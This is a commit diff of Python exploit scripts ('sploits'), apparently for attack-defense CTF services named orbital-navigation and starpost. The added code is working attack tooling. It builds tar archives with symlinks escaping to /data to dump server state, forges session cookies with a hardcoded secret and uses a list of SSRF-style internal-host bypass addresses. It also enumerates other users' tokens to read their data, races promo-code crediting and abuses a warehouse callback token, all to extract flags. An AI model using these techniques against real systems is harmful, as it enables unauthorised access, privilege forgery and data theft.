Compare commits

..
Author SHA1 Message Date
Мария Янова 36c5a18577 orbital-navigation: add host-only state dump sploit 2026-10-25 12:01:26 +03:00
4 changed files with 379 additions and 258 deletions

No files matched your search

+314 -15
View File
@@ -9,6 +9,9 @@ import os
import re
import sys
import tarfile
import tempfile
import time
from pathlib import Path
from urllib.error import HTTPError, URLError
from urllib.parse import quote, unquote, urlsplit, urlunsplit
from urllib.request import Request, urlopen
@@ -16,10 +19,24 @@ from urllib.request import Request, urlopen
TARGET_SCHEME = "http"
SERVICE_PORT = 8086
REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 256 * 1024
MAX_RESPONSE = 8 * 1024 * 1024
MAX_STATE_RESPONSE = 64 * 1024 * 1024
MAX_OBJECTS = 6
MAX_STATE_FLIGHTS = 512
TOTAL_RUNTIME = 7.0
IMPORTER_KEY = "orbit-importer-service-key"
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b")
ID_PATTERN = re.compile(
r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE
)
CONTEXT_PATTERNS = {
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
}
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
STATE_DUMP_MARKER = "orbital-state-dump"
class ExploitError(Exception):
@@ -47,29 +64,36 @@ def parse_target(target: str) -> tuple[str, str]:
raise ValueError("target address must not include query or fragment")
port = parsed.port
if port is None:
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT
port = 443 if parsed.scheme == "https" else SERVICE_PORT
if not 1 <= port <= 65535:
raise ValueError("invalid target port")
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]:
def request(
base: str,
path: str,
method: str = "GET",
body: bytes | None = None,
headers=None,
max_response: int = MAX_RESPONSE,
) -> tuple[int, bytes]:
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
if headers:
request_headers.update(headers)
req = Request(base + path, data=body, headers=request_headers, method=method)
try:
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
data = response.read(max_response + 1)
if len(data) > max_response:
raise ValueError("response too large")
return response.status, data
except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE)
return exc.code, exc.read(max_response)
def rpc(base: str, action: str, **fields):
def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields):
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
status, raw = request(
base,
@@ -77,6 +101,7 @@ def rpc(base: str, action: str, **fields):
method="POST",
body=payload,
headers={"Content-Type": "application/json"},
max_response=_response_limit,
)
try:
document = json.loads(raw)
@@ -150,6 +175,273 @@ def symlink_tar(name: str, target: str) -> bytes:
return output.getvalue()
def state_dump_tar(flight_id: str) -> bytes:
output = io.BytesIO()
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
escape = tarfile.TarInfo("escape")
escape.type = tarfile.SYMTYPE
escape.linkname = "/data"
archive.addfile(escape)
state_link = tarfile.TarInfo("escape/state.json.tmp")
state_link.type = tarfile.SYMTYPE
state_link.linkname = f"/data/navigation/{flight_id}.txt"
archive.addfile(state_link)
report = b"ok"
entry = tarfile.TarInfo("report.txt")
entry.size = len(report)
archive.addfile(entry, io.BytesIO(report))
return output.getvalue()
def context_path(base: str) -> Path:
configured = os.environ.get("ORBITAL_STATE_DIR")
root = (
Path(configured)
if configured
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
)
if os.name == "nt":
root.mkdir(parents=True, exist_ok=True)
else:
root.mkdir(mode=0o700, parents=True, exist_ok=True)
root.chmod(0o700)
name = hashlib.sha256(base.encode()).hexdigest() + ".json"
return root / name
def valid_context(document, base: str) -> bool:
return (
isinstance(document, dict)
and document.get("base") == base
and all(
isinstance(document.get(key), str) and pattern.fullmatch(document[key])
for key, pattern in CONTEXT_PATTERNS.items()
)
)
def load_context(base: str):
try:
document = json.loads(context_path(base).read_text(encoding="utf-8"))
except (OSError, ValueError):
return None
return document if valid_context(document, base) else None
def save_context(base: str, context) -> None:
path = context_path(base)
document = {"base": base, **context}
temporary = None
try:
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=path.parent,
prefix=path.name + ".",
delete=False,
) as handle:
temporary = Path(handle.name)
json.dump(document, handle, separators=(",", ":"))
if os.name != "nt":
temporary.chmod(0o600)
os.replace(temporary, path)
finally:
if temporary is not None:
try:
temporary.unlink()
except OSError:
pass
def discard_context(base: str) -> None:
try:
context_path(base).unlink()
except OSError:
pass
def create_host_context(base: str):
token = register(base)
ship_id = rpc(base, "create_ship", token=token)["ship_id"]
profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"]
flight_id = rpc(
base,
"create_flight",
token=token,
geometry=STATE_DUMP_MARKER,
map_version=STATE_DUMP_MARKER,
options=STATE_DUMP_MARKER,
manifest=STATE_DUMP_MARKER,
navigation=STATE_DUMP_MARKER,
)["flight_id"]
package_id = rpc(base, "create_package", token=token)["package_id"]
context = {
"token": token,
"ship_id": ship_id,
"profile_id": profile_id,
"flight_id": flight_id,
"package_id": package_id,
}
try:
save_context(base, context)
except OSError as exc:
print(f"state cache unavailable: {exc}", file=sys.stderr)
return context
def trigger_persist(base: str, context) -> None:
rpc(
base,
"edit_profile",
token=context["token"],
profile_id=context["profile_id"],
ship_id=context["ship_id"],
)
def dump_state(base: str, context) -> str:
upload_package(
base,
context["package_id"],
context["token"],
regular_tar("report.txt", b"approved"),
)
rpc(base, "approve_package", token=context["token"], package_id=context["package_id"])
upload_package(
base,
context["package_id"],
context["token"],
state_dump_tar(context["flight_id"]),
)
rpc(
base,
"generate_report",
token=context["token"],
package_id=context["package_id"],
attachment="report.txt",
)
try:
trigger_persist(base, context)
result = rpc(
base,
"read_navigation",
_response_limit=MAX_STATE_RESPONSE,
token=context["token"],
flight_id=context["flight_id"],
)
navigation = result.get("navigation") if isinstance(result, dict) else None
if not isinstance(navigation, str):
raise ExploitError("state dump: missing navigation")
return navigation
finally:
try:
trigger_persist(base, context)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"state persistence cleanup: {exc}", file=sys.stderr)
def state_payloads(state) -> list[str]:
values: list[str] = []
messages = state.get("messages", {})
if isinstance(messages, dict):
for items in messages.values():
if isinstance(items, list):
values.extend(item for item in items if isinstance(item, str))
jobs = state.get("jobs", {})
if isinstance(jobs, dict):
for job in jobs.values():
result = job.get("result") if isinstance(job, dict) else None
if isinstance(result, list):
values.extend(item for item in result if isinstance(item, str))
flights = state.get("flights", {})
if isinstance(flights, dict):
for flight in flights.values():
if not isinstance(flight, dict):
continue
for key in ("geometry", "map_version", "options", "manifest"):
value = flight.get(key)
if isinstance(value, str):
values.append(value)
summaries = state.get("summaries", {})
if isinstance(summaries, dict):
for summary in summaries.values():
content = summary.get("content") if isinstance(summary, dict) else None
if isinstance(content, str):
values.append(content)
imports = state.get("imports", {})
if isinstance(imports, dict):
for item in imports.values():
if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str):
values.append(item[1])
return values
def exploit_host_only(base: str, deadline: float) -> list[str]:
context = load_context(base)
if context is None:
context = create_host_context(base)
try:
raw_state = dump_state(base, context)
except ExploitError as exc:
stale_markers = (
"invalid token",
"unknown ship",
"unknown profile",
"unknown flight",
"unknown package",
)
if not any(marker in str(exc) for marker in stale_markers):
raise
discard_context(base)
context = create_host_context(base)
raw_state = dump_state(base, context)
try:
state = json.loads(raw_state)
except ValueError as exc:
raise ExploitError("state dump: invalid JSON") from exc
if not isinstance(state, dict):
raise ExploitError("state dump: invalid state")
loot = state_payloads(state)
users = state.get("users", {})
flights = state.get("flights", {})
owner_tokens = {}
if isinstance(users, dict):
for token, owner in users.items():
if isinstance(token, str) and isinstance(owner, str):
owner_tokens.setdefault(owner, token)
checked = 0
if isinstance(flights, dict):
for flight_id, flight in flights.items():
if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline:
break
if not isinstance(flight_id, str) or not isinstance(flight, dict):
continue
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
continue
token = owner_tokens.get(flight.get("owner"))
if not isinstance(token, str):
continue
checked += 1
try:
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
navigation = result.get("navigation") if isinstance(result, dict) else None
if isinstance(navigation, str):
try:
nested_state = json.loads(navigation)
except ValueError:
nested_state = None
state_keys = {"users", "ships", "messages", "flights", "packages"}
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
loot.extend(state_payloads(nested_state))
else:
loot.append(navigation)
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
print(f"state dump navigation reads: {checked}", file=sys.stderr)
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
return list(dict.fromkeys(item for item in sanitized if item))
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
status, raw = request(
base,
@@ -158,14 +450,12 @@ def upload_package(base: str, package_id: str, token: str, content: bytes) -> No
body=content,
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
)
if status != 200:
raise ExploitError(f"package upload: HTTP {status}")
try:
document = json.loads(raw)
except (TypeError, ValueError) as exc:
raise ExploitError("package upload: invalid response") from exc
if not document.get("ok"):
raise ExploitError("package upload failed")
if status != 200 or not document.get("ok"):
raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}")
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
@@ -212,7 +502,15 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
return [raw.decode("utf-8", errors="replace")]
token = register(base)
last_error = None
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
for internal_host in (
"0.0.0.0",
"0",
"0000",
"0x0",
"::ffff:127.0.0.1",
"::ffff:7f00:1",
"::ffff:0.0.0.0",
):
try:
result = rpc(
base,
@@ -252,10 +550,11 @@ def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
def run_exploit(target: str) -> list[str]:
started = time.monotonic()
base, hint = parse_target(target)
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
if not identifiers:
raise ValueError("checker hint with an orbital object id is required")
return exploit_host_only(base, started + TOTAL_RUNTIME)
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
@@ -291,7 +590,7 @@ def run_exploit(target: str) -> list[str]:
def main() -> int:
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr)
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
return 2
try:
loot = run_exploit(sys.argv[1])
+16 -62
View File
@@ -7,7 +7,6 @@ import concurrent.futures
import hashlib
import hmac
import json
import re
import secrets
import sys
import time
@@ -18,12 +17,10 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 2.0
TOTAL_TIMEOUT = 8.0
MAX_RESPONSE = 128 * 1024
RECENT_USER_WINDOW = 32
MAX_WORKERS = 8
SESSION_SECRET = "starpost-development-session-key-change-before-production"
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
class NoRedirects(HTTPRedirectHandler):
@@ -67,14 +64,7 @@ def forge_session(user_id: int, role: str) -> str:
return (value + b"." + b64(signature)).decode()
def request(
base: str,
path: str,
method: str = "GET",
payload=None,
cookie: str | None = None,
timeout: float = REQUEST_TIMEOUT,
):
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
if body is not None:
@@ -84,50 +74,33 @@ def request(
req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=timeout) as response:
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, data
except HTTPError as exc:
data = exc.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return exc.code, data
return exc.code, exc.read(MAX_RESPONSE)
def register_probe(base: str, deadline: float) -> int:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("overall deadline exceeded")
def register_probe(base: str) -> int:
marker = secrets.token_hex(8)
status, raw = request(
base,
"/api/register",
method="POST",
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
timeout=min(REQUEST_TIMEOUT, remaining),
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
return int(json.loads(raw)["id"])
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
def fetch(path: str, cookie: str):
remaining = deadline - time.monotonic()
if remaining <= 0:
return None
try:
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
return None
def collect_identity(base: str, user_id: int) -> list[bytes]:
probe_cookie = forge_session(user_id, "seller")
response = fetch("/api/me", probe_cookie)
if response is None or response[0] != 200:
status, raw = request(base, "/api/me", cookie=probe_cookie)
if status != 200:
return []
_, raw = response
try:
identity = json.loads(raw)
except (TypeError, ValueError):
@@ -143,12 +116,9 @@ def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
contract_file = identity.get("contract_file")
if role == "seller" and isinstance(contract_file, str) and contract_file:
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
output = [raw]
output = []
for path in paths:
response = fetch(path, cookie)
if response is None:
continue
status, data = response
status, data = request(base, path, cookie=cookie)
if status == 200 and data:
output.append(data)
return output
@@ -156,29 +126,14 @@ def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
def run_exploit(target: str) -> str:
base = build_base_url(target)
deadline = time.monotonic() + TOTAL_TIMEOUT
newest = register_probe(base, deadline)
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
newest = register_probe(base)
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
chunks: list[bytes] = []
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
try:
for future in concurrent.futures.as_completed(
futures,
timeout=max(0.001, deadline - time.monotonic()),
):
try:
chunks.extend(future.result())
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
continue
except TimeoutError:
pass
finally:
for future in futures:
future.cancel()
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
return b"\n".join(flags).decode("ascii")
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
chunks.extend(result)
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
return b"\n".join(chunks).decode("utf-8", errors="replace")
def main() -> int:
@@ -190,8 +145,7 @@ def main() -> int:
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
if output:
print(output, flush=True)
print(output, flush=True)
return 0
+14 -93
View File
@@ -72,17 +72,13 @@ def request(
opener = build_opener(NoRedirects())
last_error: OSError | URLError | None = None
for _ in range(attempts):
remaining = deadline - time.monotonic()
if remaining <= 0:
if time.monotonic() >= deadline:
break
try:
with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
remaining = deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
try:
response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
except (AttributeError, OSError):
response.fp.raw._sock.settimeout(READ_TIMEOUT)
except AttributeError:
pass
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
@@ -120,84 +116,13 @@ def register(target: str, deadline: float) -> tuple[int, str]:
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
data = json.loads(body)
if not isinstance(data, dict) or "id" not in data or isinstance(data["id"], bool):
raise ValueError("registration returned an invalid user id")
try:
user_id = int(data["id"])
except (TypeError, ValueError) as exc:
raise ValueError("registration returned an invalid user id") from exc
if user_id < 1:
raise ValueError("registration returned an invalid user id")
cookies = SimpleCookie()
for name, value in headers:
if name.lower() == "set-cookie":
cookies.load(value)
if "session" not in cookies:
raise ValueError("registration did not return a session")
return user_id, cookies["session"].value
def pdf_literal_strings(document: bytes) -> list[bytes]:
strings: list[bytes] = []
size = len(document)
offset = 0
escapes = {
ord("n"): ord("\n"),
ord("r"): ord("\r"),
ord("t"): ord("\t"),
ord("b"): ord("\b"),
ord("f"): ord("\f"),
}
while offset < size:
start = document.find(b"(", offset)
if start < 0:
break
offset = start + 1
depth = 1
value = bytearray()
while offset < size and depth:
current = document[offset]
if current == ord("\\"):
offset += 1
if offset >= size:
break
escaped = document[offset]
if escaped in (ord("\r"), ord("\n")):
if escaped == ord("\r") and offset + 1 < size and document[offset + 1] == ord("\n"):
offset += 1
offset += 1
continue
if ord("0") <= escaped <= ord("7"):
end = offset + 1
while end < size and end < offset + 3 and ord("0") <= document[end] <= ord("7"):
end += 1
value.append(int(document[offset:end], 8) & 0xFF)
offset = end
continue
value.append(escapes.get(escaped, escaped))
elif current == ord("("):
depth += 1
value.append(current)
elif current == ord(")"):
depth -= 1
if depth:
value.append(current)
else:
value.append(current)
offset += 1
if depth == 0:
strings.append(bytes(value))
return strings
def extract_flags(document: bytes) -> set[bytes]:
fragments = pdf_literal_strings(document)
flags = set(FLAG_PATTERN.findall(document))
for fragment in fragments:
flags.update(FLAG_PATTERN.findall(fragment))
for left, right in zip(fragments, fragments[1:]):
flags.update(FLAG_PATTERN.findall(left[-31:] + right[:31]))
return flags
return int(data["id"]), cookies["session"].value
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
@@ -211,31 +136,25 @@ def collect_contract(target: str, user_id: int, cookie: str, deadline: float) ->
)
except (OSError, TimeoutError, URLError, ValueError):
return set(), True
return (extract_flags(body) if status == 200 else set()), False
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int]:
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT
newest, cookie = register(target, deadline)
oldest = max(1, newest - RECENT_USER_WINDOW)
user_ids = range(newest - 1, oldest - 1, -1)
flags: set[str] = set()
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
flags: set[bytes] = set()
errors = 0
checked = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
for future in concurrent.futures.as_completed(futures):
found, failed = future.result()
for candidate in sorted(flag.decode("ascii") for flag in found):
if candidate in flags:
continue
flags.add(candidate)
if emit is not None:
emit(candidate)
flags.update(found)
errors += int(failed)
checked += 1
return sorted(flags), checked, errors
return sorted(flag.decode("ascii") for flag in flags), checked, errors
def main() -> int:
@@ -243,11 +162,13 @@ def main() -> int:
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
return 2
try:
flags, checked, errors = run_exploit(sys.argv[1], lambda candidate: print(candidate, flush=True))
flags, checked, errors = run_exploit(sys.argv[1])
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
if flags:
print("\n".join(flags), flush=True)
return 0
+35 -88
View File
@@ -5,10 +5,8 @@ from __future__ import annotations
import concurrent.futures
import json
import math
import re
import secrets
import sys
import time
from http.cookies import SimpleCookie
from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit
@@ -16,14 +14,11 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 1.5
TOTAL_TIMEOUT = 8.5
MAX_RESPONSE = 512 * 1024
MAX_PRODUCTS = 5
MAX_CREDITS = 24
REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 128 * 1024
MAX_PRODUCTS = 8
MAX_CREDITS = 100
MAX_WORKERS = 8
GET_RETRIES = 1
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
@@ -51,15 +46,7 @@ def build_base_url(target: str) -> str:
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request(
base: str,
path: str,
method: str = "GET",
payload=None,
cookie: str | None = None,
warehouse=False,
deadline: float | None = None,
):
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
if body is not None:
@@ -68,40 +55,25 @@ def request(
headers["Cookie"] = f"session={cookie}"
if warehouse:
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
attempts = GET_RETRIES + 1 if method == "GET" else 1
for attempt in range(attempts):
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
if remaining <= 0:
raise TimeoutError("overall deadline exceeded")
req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, data, response.headers
except HTTPError as exc:
data = exc.read(MAX_RESPONSE + 1)
req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
continue
return exc.code, data, exc.headers
except (URLError, TimeoutError, OSError):
if attempt + 1 >= attempts:
raise
raise TimeoutError("request attempts exhausted")
return response.status, data, response.headers
except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE), exc.headers
def register_buyer(base: str, deadline: float) -> str:
def register_buyer(base: str) -> str:
marker = secrets.token_hex(8)
status, _, headers = request(
base,
"/api/register",
method="POST",
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
deadline=deadline,
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
@@ -112,57 +84,34 @@ def register_buyer(base: str, deadline: float) -> str:
return jar["session"].value
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
def credit(base: str, cookie: str, code: str) -> bool:
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
return status == 200
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
status, _, _ = request(
base,
"/api/cart",
method="POST",
payload={"product_id": product_id},
cookie=cookie,
deadline=deadline,
)
return status == 201
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
def buy(base: str, cookie: str, product_id: int):
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
if status != 201:
return []
return None
data = json.loads(raw)
orders = data.get("orders") if isinstance(data, dict) else None
if not isinstance(orders, list):
return []
order_ids = []
for order in orders:
try:
order_ids.append(int(order["id"]))
except (KeyError, TypeError, ValueError):
continue
return order_ids
return int(data["id"])
def deliver(base: str, order_id: int, deadline: float) -> bool:
def deliver(base: str, order_id: int) -> bool:
status, _, _ = request(
base,
"/api/warehouse/callback",
method="POST",
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
warehouse=True,
deadline=deadline,
)
return status == 200
def run_exploit(target: str) -> str:
deadline = time.monotonic() + TOTAL_TIMEOUT
base = build_base_url(target)
cookie = register_buyer(base, deadline)
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
cookie = register_buyer(base)
status, raw, _ = request(base, "/api/account", cookie=cookie)
if status != 200:
raise ValueError(f"account endpoint returned HTTP {status}")
account = json.loads(raw)
@@ -170,7 +119,7 @@ def run_exploit(target: str) -> str:
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("promo code missing")
status, raw, _ = request(base, "/api/products", deadline=deadline)
status, raw, _ = request(base, "/api/products")
if status != 200:
raise ValueError(f"products endpoint returned HTTP {status}")
products = json.loads(raw)
@@ -194,27 +143,26 @@ def run_exploit(target: str) -> str:
required_credits = max(0, math.ceil((total - 100) / 100))
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
if credited != required_credits:
raise ValueError("promo crediting was incomplete")
order_ids = []
for product_id in selected:
order_id = buy(base, cookie, product_id)
if order_id is not None:
order_ids.append(order_id)
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
if added == 0:
return ""
order_ids = checkout(base, cookie, deadline)
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
status, raw, _ = request(base, "/api/orders", cookie=cookie)
if status != 200:
raise ValueError(f"orders endpoint returned HTTP {status}")
print(
f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
file=sys.stderr,
)
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
return b"\n".join(candidates).decode("ascii")
return raw.decode("utf-8", errors="replace")
def main() -> int:
@@ -226,8 +174,7 @@ def main() -> int:
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
print(f"request failed: {exc}", file=sys.stderr)
return 1
if output:
print(output, flush=True)
print(output, flush=True)
return 0